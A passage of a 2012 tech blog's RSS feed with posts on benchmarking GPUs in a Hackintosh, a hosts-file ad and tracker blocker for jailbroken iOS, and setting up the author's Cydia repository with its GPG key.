<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="backtrack virtualbox guest additions">backtrack virtualbox guest additions</a></li>
<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="backtrack on macbook air">backtrack on macbook air</a> (35)</li>
<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="backtrack 5 virtualbox guest additions">backtrack 5 virtualbox guest additions</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Unigine Heaven 3.0 for MacOS X – 3D Benchmark your HackinTosh!]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p><a href="https://unigine.com/products/heaven/?ref=blog.thireus.com" title="Heaven DX11 Benchmark">Unigine Heaven</a> 3.0 is out for MacOS X. We finally have a good 3D benchmark software on Mac!</p>
</blockquote>
<p><em>You can download Unigine Heaven&#xA0;from this page:&#xA0;<a href="https://unigine.com/products/heaven/download/?ref=blog.thireus.com" title="Download Heaven DX11 Benchmark">https://unigine.com/products/heaven/download/</a>. Downloads are available for Windows, Linux and now OSX!</em></p>
<p>Today I benchmarked my <a href="http://www.asus.com/Graphics_Cards/NVIDIA_Series/ENGTX4802DI1536MD5/?ref=blog.thireus.com" title="ENGTX480/2DI/1536MD5">NVIDIA ENGTX480</a></p>]]></description><link>https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b96e</guid><category><![CDATA[AGPM]]></category><category><![CDATA[AMD]]></category><category><![CDATA[Benchmark]]></category><category><![CDATA[darwin]]></category><category><![CDATA[ENGTX480]]></category><category><![CDATA[FPS]]></category><category><![CDATA[GPU]]></category><category><![CDATA[GTX]]></category><category><![CDATA[GTX480]]></category><category><![CDATA[Hackintosh]]></category><category><![CDATA[HD6870]]></category><category><![CDATA[Heaven]]></category><category><![CDATA[kernel]]></category><category><![CDATA[kext]]></category><category><![CDATA[MacOS]]></category><category><![CDATA[NVIDIA]]></category><category><![CDATA[OpenGL]]></category><category><![CDATA[Radeon]]></category><category><![CDATA[Thireus]]></category><category><![CDATA[Unigine]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Sat, 10 Mar 2012 17:05:35 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/unigine-heaven-benchmark.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/unigine-heaven-benchmark.png" alt="Unigine Heaven 3.0 for MacOS X &#x2013; 3D Benchmark your HackinTosh!"><p><a href="https://unigine.com/products/heaven/?ref=blog.thireus.com" title="Heaven DX11 Benchmark">Unigine Heaven</a> 3.0 is out for MacOS X. We finally have a good 3D benchmark software on Mac!</p>
</blockquote>
<p><em>You can download Unigine Heaven&#xA0;from this page:&#xA0;<a href="https://unigine.com/products/heaven/download/?ref=blog.thireus.com" title="Download Heaven DX11 Benchmark">https://unigine.com/products/heaven/download/</a>. Downloads are available for Windows, Linux and now OSX!</em></p>
<p>Today I benchmarked my <a href="http://www.asus.com/Graphics_Cards/NVIDIA_Series/ENGTX4802DI1536MD5/?ref=blog.thireus.com" title="ENGTX480/2DI/1536MD5">NVIDIA ENGTX480</a> and <a href="http://www.amd.com/us/products/desktop/graphics/amd-radeon-hd-6000/hd-6870/Pages/amd-radeon-hd-6870-overview.aspx?ref=blog.thireus.com" title="AMD Radeon&#x2122; HD 6870 Graphics ">AMD HD6870</a> graphics cards. These two powerful graphics cards (<a href="http://www.videocardbenchmark.net/high_end_gpus.html?ref=blog.thireus.com" title="High End Video Card Chart">PassMark High End Video Card Chart</a>) are plugged to my HackinTosh build and connected to two different Full HD 1080p screens. Let&#x2019;s see how each card deals with&#xA0;<a href="https://unigine.com/products/heaven/?ref=blog.thireus.com" title="Heaven DX11 Benchmark">Unigine Heaven</a>&#xA0;3.0 at Maximum Settings!</p>
<p><span style="text-decoration: underline;">Edit:</span> The first results uploaded to this article were wrong. Have a look at the &#x201C;Bad Results&#x201D; section to know more why.</p>
<h4 id="unigineheavenforosx">Unigine Heaven for OSX</h4>
<p>First of all, under MacOS X there is no DirectX. So,&#xA0;<a href="https://unigine.com/products/heaven/?ref=blog.thireus.com" title="Heaven DX11 Benchmark">Unigine Heaven</a>&#xA0;3.0 uses the OpenGL API, which is one of the best way to 3D bench your GPU.</p>
<p>[![Uningine Heaven 3.0 Ba<img src="https://blog.thireus.com/img/uningine-heaven-3-0-basic-edition-macos-x-466x390.png" alt="Unigine Heaven 3.0 for MacOS X &#x2013; 3D Benchmark your HackinTosh!" title="Uningine Heaven 3.0 Basic Edition MacOS X" loading="lazy">om/img/uningine-heaven-3-0-basic-edition-macos-x.png)</p>
<p>This is how the main menu looks like&#x2026; I pushed all settings to the maximum (except Stereo 3D because I don&#x2019;t have 3D glasses).</p>
<p><a href="https://www.youtube.com/watch?v=iwlY_1-hmCA&amp;ref=blog.thireus.com">https://www.youtube.com/watch?v=iwlY_1-hmCA</a></p>
<p>We clearly see that two OSX applications can be executed at the same time and have their own dedicated GPU and screen.</p>
<h4 id="aboutthehackintoshbuild">About the HackinTosh build&#x2026;</h4>
<p><img src="https://blog.thireus.com/img/thireus-10-7-3-hackintosh-234x255.png" alt="Unigine Heaven 3.0 for MacOS X &#x2013; 3D Benchmark your HackinTosh!" title="Thireus 10.7.3 HackinTosh" loading="lazy"></p>
<p>Let&#x2019;s see what we have here&#x2026;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>CPU:</strong></span> Intel &#x2013; Processeur &#x2013; Intel Core i7 2600K / 3,4 GHz &#x2013; LGA1155 Socket &#x2013; L3 8 Mo</li>
<li><span style="text-decoration: underline;"><strong>RAM:</strong></span> G.Skill Kit Extreme3 2 x 4 Go PC15000 Sniper CAS 9</li>
<li><span style="text-decoration: underline;"><strong>MotherBoard:</strong></span> ASUS SABERTOOTH P67 (rev. B3) &#x2013; Socket 1155 &#x2013; Chipset P67 &#x2013; ATX</li>
<li><span style="text-decoration: underline;"><strong>GPU:</strong></span> SAPPHIRE ATI Radeon HD6870 Toxic | 1024 Mo DDR5 &#x2013; PCI Express &#x2013; DUAL DVI / HDMI / mini DP</li>
<li><span style="text-decoration: underline;"><strong>GPU:</strong></span> ASUS ENGTX480/2DI/1536MD5 GeForce GTX 480 (Fermi) 1536MB 384-bit GDDR5 PCI Express 2.0 x16 HDCP Ready SLI Support Video Card</li>
<li><span style="text-decoration: underline;"><strong>Power Supply:</strong></span>&#xA0;OCZ Z Series Gold OCZZ1000M 1000W</li>
<li><span style="text-decoration: underline;"><strong>CPU Cooler:</strong></span> COOLER MASTER HYPER 212 PLUS</li>
<li><span style="text-decoration: underline;"><strong>Case:</strong></span> Lian Li PC-K63</li>
</ul>
<p>Nothing extreme, just a common HackinTosh build with two graphics cards in it.</p>
<p>[![Graphics/Display OSX 1<img src="https://blog.thireus.com/img/graphicsdisplay-2xgpu-573x366.png" alt="Unigine Heaven 3.0 for MacOS X &#x2013; 3D Benchmark your HackinTosh!" title="Graphics/Display 2xGPU" loading="lazy">om/img/graphicsdisplay-2xgpu.png)</p>
<h4 id="benchmarkresults">Benchmark Results!</h4>
<p>I have benchmarked both&#xA0;<a href="http://www.asus.com/Graphics_Cards/NVIDIA_Series/ENGTX4802DI1536MD5/?ref=blog.thireus.com" title="ENGTX480/2DI/1536MD5">NVIDIA ENGTX480</a>&#xA0;and&#xA0;<a href="http://www.amd.com/us/products/desktop/graphics/amd-radeon-hd-6000/hd-6870/Pages/amd-radeon-hd-6870-overview.aspx?ref=blog.thireus.com" title="AMD Radeon&#x2122; HD 6870 Graphics ">AMD HD6870</a>&#xA0;graphics cards with&#xA0;<a href="https://unigine.com/products/heaven/?ref=blog.thireus.com" title="Heaven DX11 Benchmark">Unigine Heaven</a>&#xA0;3.0.. The results are very good for the NVIDIA card, but poor for the AMD card with maximum settings.</p>
<h6 id="defaultsettings">Default Settings :</h6>
<p>[![NVIDIA ENGTX480 Unigin<img src="https://blog.thireus.com/img/nvidia-engtx480-unigine-heaven-3-0-63-4-fps-default-settings-438x246.png" alt="Unigine Heaven 3.0 for MacOS X &#x2013; 3D Benchmark your HackinTosh!" title="NVIDIA ENGTX480 Unigine Heaven 3.0 63.4 FPS Default Settings" loading="lazy">om/img/nvidia-engtx480-unigine-heaven-3-0-63-4-fps-default-settings.png) [![AMD HD6870 Unigine Hea<img src="https://blog.thireus.com/img/amd-hd6870-unigine-heaven-3-0-56-9-fps-default-settings-438x246.png" alt="Unigine Heaven 3.0 for MacOS X &#x2013; 3D Benchmark your HackinTosh!" title="AMD HD6870 Unigine Heaven 3.0 56.9 FPS Default Settings" loading="lazy">om/img/amd-hd6870-unigine-heaven-3-0-56-9-fps-default-settings.png)</p>
<h6 id="maximumsettings">Maximum Settings :</h6>
<p>[![NVIDIA ENGTX480 Unigin<img src="https://blog.thireus.com/img/nvidia-engtx480-unigine-heaven-3-0-47-1-fps-438x246.png" alt="Unigine Heaven 3.0 for MacOS X &#x2013; 3D Benchmark your HackinTosh!" title="NVIDIA ENGTX480 Unigine Heaven 3.0 47.1 FPS Maximum Settings" loading="lazy">om/img/nvidia-engtx480-unigine-heaven-3-0-47-1-fps.png) [![AMD HD6870 Unigine Hea<img src="https://blog.thireus.com/img/amd-hd6870-unigine-heaven-3-0-40-7-fps-438x246.png" alt="Unigine Heaven 3.0 for MacOS X &#x2013; 3D Benchmark your HackinTosh!" title="AMD HD6870 Unigine Heaven 3.0 40.7 FPS Maximum Settings" loading="lazy">om/img/amd-hd6870-unigine-heaven-3-0-40-7-fps.png)</p>
<h4 id="badresults">Bad Results?</h4>
<p>The first time I benchmarked my <a href="http://www.amd.com/us/products/desktop/graphics/amd-radeon-hd-6000/hd-6870/Pages/amd-radeon-hd-6870-overview.aspx?ref=blog.thireus.com" title="AMD Radeon&#x2122; HD 6870 Graphics ">AMD HD6870</a>, results were very bad&#x2026; My uptime was about 24 hours. So, I restarted the hackintosh with a fresh boot, and everything went fine after that for the AMD card.&#xA0;<a href="http://www.asus.com/Graphics_Cards/NVIDIA_Series/ENGTX4802DI1536MD5/?ref=blog.thireus.com" title="ENGTX480/2DI/1536MD5">NVIDIA ENGTX480</a>&#xA0;results were good.</p>
<p>I have noticed that my&#xA0;<a href="http://www.amd.com/us/products/desktop/graphics/amd-radeon-hd-6000/hd-6870/Pages/amd-radeon-hd-6870-overview.aspx?ref=blog.thireus.com" title="AMD Radeon&#x2122; HD 6870 Graphics ">AMD HD6870</a>&#xA0;graphics card performance degrades over time. This is a known issue (other AMD GPU owners have the same issue within the HackinTosh community).</p>
<p>If you face the same issue, I advise you to <span style="color: #ff0000;">reboot first</span>, it is always better to benchmark after a fresh boot. Then check if you have the latest Kernel version and the latest Kexts for your video card (<a href="http://www.osx86.net/?ref=blog.thireus.com">www.osx86.net</a> is a good place to find these stuff).</p>
<h4 id="conclusion">Conclusion</h4>
<p>Both graphics cards are very good and run well under MacOS X 10.7.3. The NVIDIA card is very tricky to install under MacOS X Lion (and a lot more under Snow Leopard 10.6), but once you get all things done it&#x2019;s just a real pleasure working with it. The <a href="http://www.amd.com/us/products/desktop/graphics/amd-radeon-hd-6000/hd-6870/Pages/amd-radeon-hd-6870-overview.aspx?ref=blog.thireus.com" title="AMD Radeon&#x2122; HD 6870 Graphics ">AMD HD6870</a> works out of the box under MacOS X Lion, everything is fluid, no freezes, no KP at all, but the results are here, this card is less&#xA0;powerful.</p>
<p>I&#x2019;m planing to write another article regarding CUDA, PhysX, OpenCL, OpenGL benches, and the advantages to have two powerful graphics cards (AMD + NVIDIA) into your HackinTosh. I keep you in touch on <a href="https://twitter.com/Thireus?ref=blog.thireus.com" title="Twitter">twitter</a>.</p>
<p>One last thing, those who own a <a href="http://www.asus.com/Graphics_Cards/NVIDIA_Series/ENGTX4802DI1536MD5/?ref=blog.thireus.com" title="ENGTX480/2DI/1536MD5">GTX480</a>&#xA0;and are frustrated with lags but can&#x2019;t wait for my next article&#x2026; here&#x2019;s a little gift for you (only works if your HackinTosh model is iMac12,2).</p>
<p>My AGPM.kext GTX480 iMac12,2 10.7.3:</p>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://blog.thireus.com/download/AppleGraphicsPowerManagement.kext.zip" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="Unigine Heaven 3.0 for MacOS X &#x2013; 3D Benchmark your HackinTosh!"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
68.9 KB - AppleGraphicsPowerManagement.kext.zip
    </div>
</div>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="3d benchmark mac">3d benchmark mac</a></li>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="mac 3d benchmark">mac 3d benchmark</a></li>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="osx 3d benchmark">osx 3d benchmark</a></li>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="3d benchmark for mac">3d benchmark for mac</a></li>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="3d benchmark mac os x">3d benchmark mac os x</a></li>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="AppleGraphicsPowerManagement kext">AppleGraphicsPowerManagement kext</a></li>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="3d benchmark osx">3d benchmark osx</a></li>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="mac 3d benchmark software">mac 3d benchmark software</a></li>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="gtx 480 hackintosh">gtx 480 hackintosh</a></li>
<li><a href="https://blog.thireus.com/unigine-heaven-3-0-for-macos-x-3d-benchmark-your-hackintosh" title="hackintosh benchmark">hackintosh benchmark</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Untrusted Hosts Blocker – Block Ads, Spies, Tracking and Untrusted Hosts on iPhone/iPad/iPod Touch]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p><img src="https://blog.thireus.com/img/thireus-repository-icon.png" alt="Thireus Repository" title="Thireus Repository Icon" loading="lazy"></p>
<blockquote>
<p>Today I&apos;ve released a firewall package on <a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="Thireus Repository &#x2013; New Cydia Security-Oriented Repository">Thireus Cydia Repository</a>:&#xA0;Untrusted Hosts Blocker</p>
</blockquote>
<p><em>Do you know that iOS applications can track you and steal confidential data on your smartphone? This data can be quietly transmitted to online services. Act now and say STOP to ads, spies, tracking</em></p>]]></description><link>https://blog.thireus.com/untrusted-hosts-blocker-block-ads-spies-tracking-and-untrusted-hosts-on-iphoneipadipod-touch/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b96d</guid><category><![CDATA[0.0.0.0]]></category><category><![CDATA[0th3lo]]></category><category><![CDATA[ad-killer]]></category><category><![CDATA[adbl0ck]]></category><category><![CDATA[adblock]]></category><category><![CDATA[adblocker]]></category><category><![CDATA[adkiller]]></category><category><![CDATA[ads]]></category><category><![CDATA[application]]></category><category><![CDATA[blacklist]]></category><category><![CDATA[Blocker]]></category><category><![CDATA[cydia]]></category><category><![CDATA[Firewall]]></category><category><![CDATA[GPS]]></category><category><![CDATA[hosts]]></category><category><![CDATA[ios]]></category><category><![CDATA[iPhone]]></category><category><![CDATA[jailbreak]]></category><category><![CDATA[location]]></category><category><![CDATA[log]]></category><category><![CDATA[malware]]></category><category><![CDATA[package]]></category><category><![CDATA[repo]]></category><category><![CDATA[repository]]></category><category><![CDATA[spyware]]></category><category><![CDATA[Thireus]]></category><category><![CDATA[track]]></category><category><![CDATA[Untrusted]]></category><category><![CDATA[winhelp2002]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Mon, 27 Feb 2012 00:57:44 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p><img src="https://blog.thireus.com/img/thireus-repository-icon.png" alt="Thireus Repository" title="Thireus Repository Icon" loading="lazy"></p>
<blockquote>
<p>Today I&apos;ve released a firewall package on <a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="Thireus Repository &#x2013; New Cydia Security-Oriented Repository">Thireus Cydia Repository</a>:&#xA0;Untrusted Hosts Blocker</p>
</blockquote>
<p><em>Do you know that iOS applications can track you and steal confidential data on your smartphone? This data can be quietly transmitted to online services. Act now and say STOP to ads, spies, tracking and untrusted hosts on your JailBroken iPhone/iPad/iPod Touch and <a href="http://pastebin.com/6JjsQ7Z1?ref=blog.thireus.com">have a quick look here</a>.</em></p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Update:</span> Version 1.5.1 update is out! Hosts are now redirected to 0.0.0.0 which is <a href="http://hype-free.blogspot.fr/2011/02/why-you-should-use-0000-in-your-hosts.html?ref=blog.thireus.com"><span style="color: #ff0000;">more efficient than 127.0.0.1</span></a>.<span style="color: #888888;"> (Thanks to zeflash for the report)</span></span></p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Update:</span>&#xA0;Version 1.6 update is out!&#xA0;winhelp2002 list updated + hosts from user requests + special list from&#xA0;Nervous94 (blocking various Cydia ads).</span></p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Update:</span>&#xA0;This article won&apos;t be update for future releases. You can directly view the package description on Cydia which directly highlights the new features and changes.</span></p>
<h4 id="description">Description</h4>
<p>Block <strong>more than 16,000 blacklisted hosts</strong>! This is not just a classic adblocker but a powerful firewall for confidentiality and security purpose.&#xA0;This package will add all blacklisted hosts to your <strong>/etc/hosts</strong> file.&#xA0;If you are unhappy with this tweak, you can uninstall this package and all installed entries will be automatically removed.</p>
<p><a href="https://blog.thireus.com/img/untrusted-hosts-blocker.png"><img src="https://blog.thireus.com/img/untrusted-hosts-blocker.png" alt="Untrusted Hosts Blocker" title="Untrusted Hosts Blocker" loading="lazy"></a></p>
<p>If you want to add more hosts or delete some, feel free to contact me using the contact button on the package&apos;s description page on Cydia.</p>
<h4 id="howdoiinstallthispackage">How do I install this package?</h4>
<p>Add&#xA0;<a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="Thireus Repository &#x2013; New Cydia Security-Oriented Repository">Thireus Repository</a>&#xA0;<strong><a href="https://repo.thireus.com/?ref=blog.thireus.com">https://repo.thireus.com/</a></strong> to Cydia and install the package called &#x201C;<strong>Untrusted Hosts Blocker</strong>&#x201C;.</p>
<h4 id="isitsafe">Is it safe?</h4>
<p>Hosts entries have been validated by myself. Most of these hosts are from the work of&#xA0;<a href="http://winhelp2002.mvps.org/hosts.htm?ref=blog.thireus.com">winhelp2002</a> and&#xA0;<a href="http://i-phone-home.blogspot.com/?ref=blog.thireus.com">0th3lo</a>,&#xA0;some blacklisted hosts are from me. The provided hosts modifications are <strong><span style="text-decoration: underline;">used by myself for years</span></strong> on both my iPhone 3GS and MacOS X. Most of the blacklisted hosts have been manually tracked and classified as untrusted or dangerous.</p>
<p>All entries redirect the traffic to <del>127.0.0.1</del>&#xA0;0.0.0.0.</p>
<p>I took the time to monitor common iOS apps (about 30) to check if more hosts must be added and if the current firewall rules don&apos;t affect the&#xA0;functioning&#xA0;of common iOS applications. Then, I packaged everything for you.</p>
<p>You are free to uninstall this package. Uninstallation can take up to 3 minutes but removes all added&#xA0;entries to restore your original hosts file.</p>
<h4 id="whyshouldiinstallit">Why should I install it?</h4>
<p>This firewall is designed to block all hosts classified as untrusted or dangerous.</p>
<p>Some information an iOS application can steal:</p>
<ul>
<li>Mobile phone number</li>
<li>App ID</li>
<li>UDID</li>
<li>iPhone model</li>
<li>Firmware</li>
<li>Text Messages</li>
<li>Incoming &amp; Outgoing Call Logs</li>
<li>Pictures</li>
<li>GPS Location (Tracking)</li>
<li>Contacts</li>
</ul>
<p>These information can be transmitted online (during the use of the application), for advertising purpose or to track and profile you.</p>
<p>The aim of &#x2018;<strong>Untrusted Hosts Blocker</strong>&#x2018; is to block most of the hosts that request these information and provide an adblocker for your iOS devie.</p>
<p>For your security and confidentiality I recommend you to install this package.</p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/untrusted-hosts-blocker-block-ads-spies-tracking-and-untrusted-hosts-on-iphoneipadipod-touch" title="hosts cydia ads">hosts cydia ads</a></li>
<li><a href="https://blog.thireus.com/untrusted-hosts-blocker-block-ads-spies-tracking-and-untrusted-hosts-on-iphoneipadipod-touch" title="host cydia ads">host cydia ads</a></li>
<li><a href="https://blog.thireus.com/untrusted-hosts-blocker-block-ads-spies-tracking-and-untrusted-hosts-on-iphoneipadipod-touch" title="hosts blocker">hosts blocker</a></li>
<li><a href="https://blog.thireus.com/untrusted-hosts-blocker-block-ads-spies-tracking-and-untrusted-hosts-on-iphoneipadipod-touch" title="cydia best adkiller">cydia best adkiller</a></li>
<li><a href="https://blog.thireus.com/untrusted-hosts-blocker-block-ads-spies-tracking-and-untrusted-hosts-on-iphoneipadipod-touch" title="untrusted host blocker">untrusted host blocker</a></li>
<li><a href="https://blog.thireus.com/untrusted-hosts-blocker-block-ads-spies-tracking-and-untrusted-hosts-on-iphoneipadipod-touch" title="adbl0ck">adbl0ck</a></li>
<li><a href="https://blog.thireus.com/untrusted-hosts-blocker-block-ads-spies-tracking-and-untrusted-hosts-on-iphoneipadipod-touch" title="winhelp 2002">winhelp 2002</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Thireus Repository - New Cydia Security-Oriented Repository]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p><img src="https://blog.thireus.com/img/thireus-repository-icon.png" alt="Thireus Repository" title="Thireus Repository Icon" loading="lazy"></p>
<blockquote>
<p>Today I would like to introduce you a new Cydia Repository&#x2026; Thireus Repository.</p>
</blockquote>
<p><em>After my <a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband" title="Common iOS 5 JailBreak Issues &#x2013; Restoration Fails or Hangs, Location Service causing Signal and WiFi Loss, Fix Push Notifications">fresh new JailBreak</a>, I decided to give a little push to my current JailBreak tool projects. So I created my own Cydia repository to host future apps.</em></p>
<p>Currently the repository only contains 2 packages,</p>]]></description><link>https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b96c</guid><category><![CDATA[alpine]]></category><category><![CDATA[apt-key]]></category><category><![CDATA[cydia]]></category><category><![CDATA[deb]]></category><category><![CDATA[debian]]></category><category><![CDATA[gpg]]></category><category><![CDATA[hacker]]></category><category><![CDATA[jailbreak]]></category><category><![CDATA[MobileTerminal]]></category><category><![CDATA[passwd]]></category><category><![CDATA[repo]]></category><category><![CDATA[repository]]></category><category><![CDATA[source]]></category><category><![CDATA[Thireus]]></category><category><![CDATA[tools]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Sun, 26 Feb 2012 01:15:32 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p><img src="https://blog.thireus.com/img/thireus-repository-icon.png" alt="Thireus Repository" title="Thireus Repository Icon" loading="lazy"></p>
<blockquote>
<p>Today I would like to introduce you a new Cydia Repository&#x2026; Thireus Repository.</p>
</blockquote>
<p><em>After my <a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband" title="Common iOS 5 JailBreak Issues &#x2013; Restoration Fails or Hangs, Location Service causing Signal and WiFi Loss, Fix Push Notifications">fresh new JailBreak</a>, I decided to give a little push to my current JailBreak tool projects. So I created my own Cydia repository to host future apps.</em></p>
<p>Currently the repository only contains 2 packages, one is <a href="https://code.google.com/p/mobileterminal/?ref=blog.thireus.com">MobileTerminal 520-1</a>, and the other one is my&#xA0;<strong>recommended&#xA0;hacker tools</strong> for your iOS device.</p>
<h4 id="letsaddthisrepository">Let&#x2019;s add this repository&#x2026;</h4>
<p>To add my repository, Open Cydia.</p>
<pre><code>Cydia &gt; Manage &gt; Sources &gt; Edit &gt; Add,&#xA0;https://repo.thireus.com
</code></pre>
<p><a href="https://blog.thireus.com/img/thireus-repository-cydia-manager.png"><img src="https://blog.thireus.com/img/photo2-192x288.png" alt="Thireus Repository from the Cydia Manager" title="Thireus Repository Cydia Manager" loading="lazy"></a> <a href="https://blog.thireus.com/img/thireus-repository-from-the-cydia-manager.png"><img src="https://blog.thireus.com/img/photo-192x288.png" alt="Thireus Repository Packages" title="Thireus Repository from the Cydia Manager" loading="lazy"></a></p>
<h4 id="gofurtherwithmoresecurity">Go further with more security&#x2026;</h4>
<p>For your <strong>security</strong> I advice you to add the GPG public key of the repository. This can be done via the <code>apt-key</code> command and you <span style="text-decoration: underline;">must be root</span> on your iOS device.</p>
<pre><code>wget https://repo.thireus.com/thireus.pub
scp thireus.pub mobile@your_idDevice_IP:/var/mobile/ # Default root password is alpine
ssh mobile@your_idDevice_IP
su # Default root password is alpine
apt-key add thireus.pub
# Now open Cydia, Cydia &gt; Manage &gt; Sources &gt; Edit &gt; Add, https://repo.thireus.com.
</code></pre>
<p><span style="text-decoration: underline;">Note:</span>&#xA0;If your &#x2018;mobile&#x2019; or &#x2018;root&#x2019; passwords are &#x201C;<strong>alpine</strong>&#x201C; don&apos;t forget to change them!</p>
<p><code>passwd # Command to change current user password</code></p>
<h4 id="installationdetails">Installation details:</h4>
<ol>
<li>Copy this file to your iPod/iPhone/iPad filesystem in &#x2018;/var/mobile/&#x2019; via SCP/SFTP:&#xA0;<a href="https://thireus.com/thireus.pub?ref=blog.thireus.com" title="Thireus Repository public GPG key">https://thireus.com/thireus.pub</a>.</li>
<li>Execute <code>apt-key add thireus.pub</code> as&#xA0;<strong>root</strong>&#xA0;at the same directory.</li>
<li>Open Cydia, Cydia &gt; Manage &gt; Sources &gt; Edit &gt; Add, <a href="https://repo.thireus.com/?ref=blog.thireus.com" title="Thireus Repository">https://repo.thireus.com</a>.</li>
</ol>
<h4 id="finalthoughts">Final thoughts&#x2026;</h4>
<p>More packages are coming. Security-oriented stuffs as always.</p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="cydia security">cydia security</a></li>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="new cydia sources 2012">new cydia sources 2012</a></li>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="ipod touch repository">ipod touch repository</a></li>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="new cydia repositories 2012">new cydia repositories 2012</a></li>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="cydia hack sources 2012">cydia hack sources 2012</a></li>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="cydia repositories 2012">cydia repositories 2012</a></li>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="cydia hacking sources 2012">cydia hacking sources 2012</a></li>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="new cydia repos 2012">new cydia repos 2012</a></li>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="cydia sources 2012">cydia sources 2012</a></li>
<li><a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="cydia repos 2012">cydia repos 2012</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Common iOS JailBreak Issues - Restoration Fails, Location Service with Signal and WiFi Loss, Fix Push Notifications, Fix GPS, Downgrade BaseBand]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>JailBreaking is easy, but you can face many issues before and after the process. Let&#x2019;s see how to fix some of them&#x2026;</p>
</blockquote>
<p><em>It was friday night, I was playing with my old iOS 5.0.1 JailBroken 3GS device, and did something nasty installing bad <a href="https://cydia.saurik.com/?ref=blog.thireus.com">Cydia</a> packages.</em></p>]]></description><link>https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b96b</guid><category><![CDATA[06.15.00]]></category><category><![CDATA[3GS]]></category><category><![CDATA[activation]]></category><category><![CDATA[app 